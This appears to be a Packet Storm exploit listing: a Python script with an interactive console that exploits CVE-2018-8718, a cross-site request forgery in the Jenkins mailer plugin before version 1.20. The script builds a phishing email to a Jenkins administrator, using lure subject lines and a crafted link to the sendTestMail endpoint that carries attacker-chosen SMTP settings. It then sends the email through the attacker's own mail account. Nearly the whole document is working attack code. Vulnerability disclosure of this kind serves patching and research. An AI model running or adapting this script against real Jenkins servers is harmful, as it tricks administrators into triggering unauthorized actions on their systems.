Jenkins Mailer Cross Site Request Forgery

2018-06-05T00:00:00
ID PACKETSTORM:148056
Type packetstorm
Reporter Kl3_GMjq6
Modified 2018-06-05T00:00:00

Description

                                        
                                            `# Exploit Title : Jenkins mailer plugin < 1.20 - Cross-Site Request Forgery  
# Date : 2018-06-05  
# Exploit Author : Kl3_GMjq6  
# Vendor Homepage : https://jenkins.io/  
# Software Link : [https://updates.jenkins.io/download/plugins/mailer/1.20/mailer.hpi]  
# Version: [Below Version 1.20 (1.1 ~ 1.20) ]  
# Ref: https://jenkins.io/security/advisory/2018-03-26/#SECURITY-774  
# Tested on : Linux , Windows  
# CVE : CVE-2018-8718  
  
import email.message  
import smtplib  
import getpass  
  
payload_list = ['url','subject','cover_message','sender','reciver','test_email','smtp_server','l_id','l_pw']  
table = {}  
for i in payload_list :  
table.update({i:''})  
  
def send_mail() :  
msg = email.message.Message()  
msg['Subject'] = table['subject']  
msg['From'] = table['sender']  
msg['To'] = table['reciver']  
msg.add_header('Content-Type','text/html')  
msg.set_payload('<a href="'+table['url']+'\  
/descriptorByName/hudson.tasks.Mailer/sendTestMail?\  
charset=UTF-8&sendTestMailTo='+table['test_email']+'&adminAddress='+table['reciver']+'\  
&smtpPort=465&smtpServer='+table['smtp_server']+'&smtpAuthPasswordSecret='+table['l_pw']+'\  
&useSMTPAuth=true&useSsl=true&smtpAuthUserName='+table['l_id']+'">\  
'+table['cover_message']+'</a>')  
s = smtplib.SMTP(table['smtp_server'])  
s.starttls()  
s.login(table['l_id'],  
table['l_pw'])  
s.sendmail(msg['From'], [msg['To']], msg.as_string())  
  
def url_set() :  
url = str(input("Jenkins Server's URL(ex : http://vuln.jenkins.com) : "))  
if len(url) <= 0 :  
print (" Can't Be Null!")  
url_set()  
elif url[0:4] != "http" :  
print (" URL must start with 'http://' ")  
url_set()  
else : table['url'] = url  
  
def subject_set() :  
subject = str(input ("SUBJECT [Default : Look! Warning with your Jenkins] : "))  
if len(subject) <= 0 :  
subject = "Look! Waning with your Jenkins"  
table['subject'] = subject  
  
def cover_message() :  
cover_message = str(input ("Cover Message [Default : Here is your Vulnable!] : "))  
if len(cover_message) <= 0 :  
cover_message = "Here is your Vulnable!"  
table['cover_message'] = cover_message  
  
def sender() :  
sender = str(input ("Attacker E-mail(ex : attacker@abcd.com) : "))  
if len(sender) <= 0 :  
print (" Can't Be Null!")  
sender()  
else : table['sender'] = sender  
  
def reciver() :  
reciver = str(input ("Admin's E-mail(ex : admin@abcd.com) : "))  
if len(reciver) <= 0 :  
print (" Can't Be Null!")  
reciver()  
else : table['reciver'] = reciver  
  
def test_email() :  
test_email = str(input ("Tester E-mail(ex : tester@abcd.com) : "))  
if len(test_email) <= 0 :  
print (" Can't Be Null!")  
test_email()  
table['test_email'] = test_email  
  
def smtp_server() :  
smtp_server = str(input ("SMTP_Server [Default : smtp.gmail.com] : "))  
if len(smtp_server) <= 0 :  
smtp_server = "smtp.gmail.com"  
table['smtp_server'] = smtp_server  
  
def l_id() :  
l_id = str(input ("Your SMTP_Server ID : "))  
if len(l_id) <= 0 :  
print (" Can't Be Null!")  
l_id()  
table['l_id'] = l_id  
  
def l_pw() :  
l_pw = str(getpass.getpass("Your SMTP_Server PW : "))  
if len(l_pw) <= 0 :  
print (" Can't Be Null!")  
l_pw()  
table['l_pw'] = l_pw  
  
def set_all () :  
url_set()  
subject_set()  
cover_message()  
sender()  
reciver()  
test_email()  
smtp_server()  
l_id()  
l_pw()  
print ("Setting Complit! Use 'show' to check options")  
  
set_help = {  
'all':"Set all payload",  
'help':"Show set commend's help",  
'url_set':"Set only 'url_set' payload",  
'subject_set':"Set only 'url_set' payload",  
'cover_message':"Set only 'cover_message' payload",  
'sender':"Set only 'sender' payload",  
'reciver':"Set only 'reciver' payload",  
'test_email':"Set only 'test_email' payload",  
'smtp_server':"Set only 'smtp_server' payload",  
'l_id':"Set only 'l_id' payload",  
'l_pw':"Set only 'l_pw' payload",  
}  
  
def set_select (a) :  
if a=="all" : set_all()   
elif a=="url_set" : url_set()  
elif a=="subject_set" : subject_set()  
elif a=="cover_message" : cover_message()  
elif a=="sender" : sender()  
elif a=="reciver" : reciver()  
elif a=="test_email" : test_email()  
elif a=="smtp_server" : smtp_server()  
elif a=="l_id" : l_id()  
elif a=="l_pw" : l_pw()  
elif a=="help" :  
for i in set_help :  
print (" -%-20s %-s" %(i,set_help[i]))  
print ('')  
  
  
  
while True :  
direct = str(input ("CVE-2018-8718 >> ")).lower()  
  
if direct == "help" :  
print ("""\  
%-10s Show this help menu.   
%-10s [-all / -help / -url_set / -subject_set / .... ]  
%-10s Set the Payload  
%-10s [-all] Show Current Setting.  
%-10s Send CSRF use current setting.  
""" %("help","set","","show","send"))  
  
elif direct[0:3] == "set" :  
if ' -' not in direct :  
if direct == "set" :  
set_option = ["help"]  
else :  
print (" Option error \n")  
else :  
set_option = direct.split(' -')[1:]  
okay = 1  
  
if len(set_option) == 1 :  
if set_option[0] not in set_help :  
print (" Option error \n")  
else :  
set_select(set_option[0])  
elif len(set_option) >= 2 :  
for i in set_option :  
if i in ['help', 'all'] :  
print (" *Option [-help / -all] cannot be use with another options \n")  
okay = 0  
break  
for i in set_option :  
if i not in set_help :  
print (" Option error \n")  
okay = 0  
break  
if okay == 1 :  
for i in set_option :  
set_select(i)  
  
elif direct[:4] == "show" :  
if " -" not in direct :  
  
if direct == "show" :  
for i in table :  
if i != "l_pw" :  
print (" %-20s %s" %(i,table[i]))  
print (" If you want to see l_pw... add [-all] option")  
print ("")  
else :  
print (" Option error \n")  
else :  
show_option = direct.split(" -")[1:]  
if (len(show_option) == 1 and show_option[0] == 'all') :  
for i in table :  
print (" %-20s %s" %(i,table[i]))  
print ()  
else :  
print (" Option error \n")  
  
elif direct == "send" :  
print (" Sending CSRF Mail.....")  
try :  
send_mail()  
print (" Succed!!\n")  
except :  
print (" Fail....")  
  
elif direct == "exit" :  
break  
  
else :  
print (" Usage : help\n")  
  
  
`